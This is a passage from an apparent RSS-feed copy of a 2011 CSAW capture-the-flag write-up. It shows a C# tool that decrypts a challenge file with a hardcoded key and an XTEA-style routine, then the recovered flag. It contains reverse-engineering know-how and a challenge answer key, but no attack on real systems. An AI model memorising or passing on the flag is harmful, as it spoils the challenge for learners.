<span style="color: #0600FF; font-weight: bold;">private</span> <span style="color: #0600FF; font-weight: bold;">static</span> <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> key <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span><br />
<span style="color: #008000;">&#123;</span><br />
1929540644u,<br />
2488374377u,<br />
339237175u,<br />
54625381u<br />
<span style="color: #008000;">&#125;</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">private</span> <span style="color: #0600FF; font-weight: bold;">static</span> <span style="color: #6666cc; font-weight: bold;">void</span> Main<span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">string</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> args<span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #0600FF; font-weight: bold;">if</span> <span style="color: #008000;">&#40;</span>args<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span> <span style="color: #FF0000;">1</span> <span style="color: #008000;">||</span> args<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;</span> <span style="color: #FF0000;">1</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
Console<span style="color: #008000;">.</span><span style="color: #0000FF;">WriteLine</span><span style="color: #008000;">&#40;</span><span style="color: #666666;">&quot;Usage: DumpPrepper.exe file&quot;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">return</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #0600FF; font-weight: bold;">if</span> <span style="color: #008000;">&#40;</span><span style="color: #008000;">!</span>File<span style="color: #008000;">.</span><span style="color: #0000FF;">Exists</span><span style="color: #008000;">&#40;</span>args<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
Console<span style="color: #008000;">.</span><span style="color: #0000FF;">WriteLine</span><span style="color: #008000;">&#40;</span><span style="color: #666666;">&quot;Could not find &quot;</span> <span style="color: #008000;">+</span> args<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">return</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> plaintext <span style="color: #008000;">=</span> File<span style="color: #008000;">.</span><span style="color: #0000FF;">ReadAllBytes</span><span style="color: #008000;">&#40;</span>args<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> bytes <span style="color: #008000;">=</span> Program<span style="color: #008000;">.</span><span style="color: #0000FF;">Decrypt</span><span style="color: #008000;">&#40;</span>plaintext, Program<span style="color: #008000;">.</span><span style="color: #0000FF;">key</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">string</span> path <span style="color: #008000;">=</span> DateTime<span style="color: #008000;">.</span><span style="color: #0000FF;">UtcNow</span><span style="color: #008000;">.</span><span style="color: #0000FF;">ToString</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">.</span><span style="color: #0000FF;">Replace</span><span style="color: #008000;">&#40;</span><span style="color: #666666;">'/'</span>, <span style="color: #666666;">'-'</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">.</span><span style="color: #0000FF;">Replace</span><span style="color: #008000;">&#40;</span><span style="color: #666666;">':'</span>, <span style="color: #666666;">'-'</span><span style="color: #008000;">&#41;</span> <span style="color: #008000;">+</span> <span style="color: #666666;">&quot;.dmp&quot;</span><span style="color: #008000;">;</span><br />
File<span style="color: #008000;">.</span><span style="color: #0000FF;">WriteAllBytes</span><span style="color: #008000;">&#40;</span>path, bytes<span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #0600FF; font-weight: bold;">private</span> <span style="color: #0600FF; font-weight: bold;">static</span> <span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> Decrypt<span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> plaintext, <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> key<span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #6666cc; font-weight: bold;">byte</span> b <span style="color: #008000;">=</span> <span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#40;</span><span style="color: #FF0000;">8</span> <span style="color: #008000;">-</span> plaintext<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">%</span> <span style="color: #FF0000;">8</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> array <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> <span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span>plaintext<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">+</span> <span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">int</span><span style="color: #008000;">&#41;</span>b<span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
Array<span style="color: #008000;">.</span><span style="color: #0000FF;">Copy</span><span style="color: #008000;">&#40;</span>plaintext, array, plaintext<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">for</span> <span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">int</span> i <span style="color: #008000;">=</span> plaintext<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span><span style="color: #008000;">;</span> i <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span> array<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span><span style="color: #008000;">;</span> i<span style="color: #008000;">++</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
array<span style="color: #008000;">&#91;</span>i<span style="color: #008000;">&#93;</span> <span style="color: #008000;">=</span> b<span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> array2 <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> <span style="color: #6666cc; font-weight: bold;">byte</span><span style="color: #008000;">&#91;</span>array<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">for</span> <span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">int</span> j <span style="color: #008000;">=</span> <span style="color: #FF0000;">0</span><span style="color: #008000;">;</span> j <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span> array<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span><span style="color: #008000;">;</span> j <span style="color: #008000;">+=</span> <span style="color: #FF0000;">8</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> v <span style="color: #008000;">=</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span><br />
<span style="color: #008000;">&#123;</span><br />
BitConverter<span style="color: #008000;">.</span><span style="color: #0000FF;">ToUInt32</span><span style="color: #008000;">&#40;</span>array, j<span style="color: #008000;">&#41;</span>,<br />
BitConverter<span style="color: #008000;">.</span><span style="color: #0000FF;">ToUInt32</span><span style="color: #008000;">&#40;</span>array, j <span style="color: #008000;">+</span> <span style="color: #FF0000;">4</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#125;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> array3 <span style="color: #008000;">=</span> Program<span style="color: #008000;">.</span><span style="color: #0000FF;">DecryptBlock</span><span style="color: #008000;">&#40;</span>64u, v, key<span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
Array<span style="color: #008000;">.</span><span style="color: #0000FF;">Copy</span><span style="color: #008000;">&#40;</span>BitConverter<span style="color: #008000;">.</span><span style="color: #0000FF;">GetBytes</span><span style="color: #008000;">&#40;</span>array3<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span>, <span style="color: #FF0000;">0</span>, array2, j, <span style="color: #FF0000;">4</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
Array<span style="color: #008000;">.</span><span style="color: #0000FF;">Copy</span><span style="color: #008000;">&#40;</span>BitConverter<span style="color: #008000;">.</span><span style="color: #0000FF;">GetBytes</span><span style="color: #008000;">&#40;</span>array3<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">&#41;</span>, <span style="color: #FF0000;">0</span>, array2, j <span style="color: #008000;">+</span> <span style="color: #FF0000;">4</span>, <span style="color: #FF0000;">4</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #0600FF; font-weight: bold;">return</span> array2<span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #0600FF; font-weight: bold;">private</span> <span style="color: #0600FF; font-weight: bold;">static</span> <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> DecryptBlock<span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">uint</span> num_rounds, <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> v, <span style="color: #6666cc; font-weight: bold;">uint</span><span style="color: #008000;">&#91;</span><span style="color: #008000;">&#93;</span> key<span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #0600FF; font-weight: bold;">if</span> <span style="color: #008000;">&#40;</span>key<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">!=</span> <span style="color: #FF0000;">4</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #0600FF; font-weight: bold;">throw</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> ArgumentException<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #0600FF; font-weight: bold;">if</span> <span style="color: #008000;">&#40;</span>v<span style="color: #008000;">.</span><span style="color: #0000FF;">Length</span> <span style="color: #008000;">!=</span> <span style="color: #FF0000;">2</span><span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #0600FF; font-weight: bold;">throw</span> <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> ArgumentException<span style="color: #008000;">&#40;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> v0 <span style="color: #008000;">=</span> v<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> v1 <span style="color: #008000;">=</span> v<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">1</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> delta <span style="color: #008000;">=</span> 2654435769u<span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> sum <span style="color: #008000;">=</span> delta<span style="color: #008000;">*</span>num_rounds<span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">for</span> <span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">uint</span> i <span style="color: #008000;">=</span> 0u<span style="color: #008000;">;</span> i <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;</span> num_rounds<span style="color: #008000;">;</span> i <span style="color: #008000;">+=</span> 1u<span style="color: #008000;">&#41;</span><br />
<span style="color: #008000;">&#123;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num10 <span style="color: #008000;">=</span> v0 <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;&amp;</span>lt<span style="color: #008000;">;</span> <span style="color: #FF0000;">4</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num11 <span style="color: #008000;">=</span> v0 <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;&amp;</span>gt<span style="color: #008000;">;</span> <span style="color: #FF0000;">5</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num12 <span style="color: #008000;">=</span> <span style="color: #008000;">&#40;</span>num10 <span style="color: #008000;">^</span> num11<span style="color: #008000;">&#41;</span> <span style="color: #008000;">+</span> v0<span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num13 <span style="color: #008000;">=</span> sum <span style="color: #008000;">+</span> key<span style="color: #008000;">&#91;</span><span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">int</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>UIntPtr<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#40;</span>sum <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;&amp;</span>gt<span style="color: #008000;">;</span> <span style="color: #FF0000;">11</span> <span style="color: #008000;">&amp;</span>amp<span style="color: #008000;">;</span> 3u<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
v1 <span style="color: #008000;">-=</span> <span style="color: #008000;">&#40;</span>num12 <span style="color: #008000;">^</span> num13<span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
sum <span style="color: #008000;">-=</span> delta<span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num6 <span style="color: #008000;">=</span> v1 <span style="color: #008000;">&amp;</span>lt<span style="color: #008000;">;&amp;</span>lt<span style="color: #008000;">;</span> <span style="color: #FF0000;">4</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num7 <span style="color: #008000;">=</span> v1 <span style="color: #008000;">&amp;</span>gt<span style="color: #008000;">;&amp;</span>gt<span style="color: #008000;">;</span> <span style="color: #FF0000;">5</span><span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num8 <span style="color: #008000;">=</span> <span style="color: #008000;">&#40;</span>num6 <span style="color: #008000;">^</span> num7<span style="color: #008000;">&#41;</span> <span style="color: #008000;">+</span> v1<span style="color: #008000;">;</span><br />
<span style="color: #6666cc; font-weight: bold;">uint</span> num9 <span style="color: #008000;">=</span> sum <span style="color: #008000;">+</span> key<span style="color: #008000;">&#91;</span><span style="color: #008000;">&#40;</span><span style="color: #6666cc; font-weight: bold;">int</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#40;</span><span style="color: #008000;">&#40;</span>UIntPtr<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#40;</span>sum <span style="color: #008000;">&amp;</span>amp<span style="color: #008000;">;</span> 3u<span style="color: #008000;">&#41;</span><span style="color: #008000;">&#41;</span><span style="color: #008000;">&#93;</span><span style="color: #008000;">;</span><br />
v0 <span style="color: #008000;">-=</span> <span style="color: #008000;">&#40;</span>num8 <span style="color: #008000;">^</span> num9<span style="color: #008000;">&#41;</span><span style="color: #008000;">;</span><br />
<br />
<span style="color: #008000;">&#125;</span><br />
v<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">0</span><span style="color: #008000;">&#93;</span> <span style="color: #008000;">=</span> v0<span style="color: #008000;">;</span><br />
v<span style="color: #008000;">&#91;</span><span style="color: #FF0000;">1</span><span style="color: #008000;">&#93;</span> <span style="color: #008000;">=</span> v1<span style="color: #008000;">;</span><br />
<span style="color: #0600FF; font-weight: bold;">return</span> v<span style="color: #008000;">;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #008000;">&#125;</span><br />
<span style="color: #008000;">&#125;</span></div></div>
<p>We run it with our encrypted file as parameter and get a new decrypted file with the key:</p>
<p>key{  f79b5967afade81c142eab7e4b4c9a3b  }</p>
]]></content:encoded>
			<wfw:commentRss>http://codezen.fr/2011/09/26/csaw-2011-net1-bin200-write-up/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

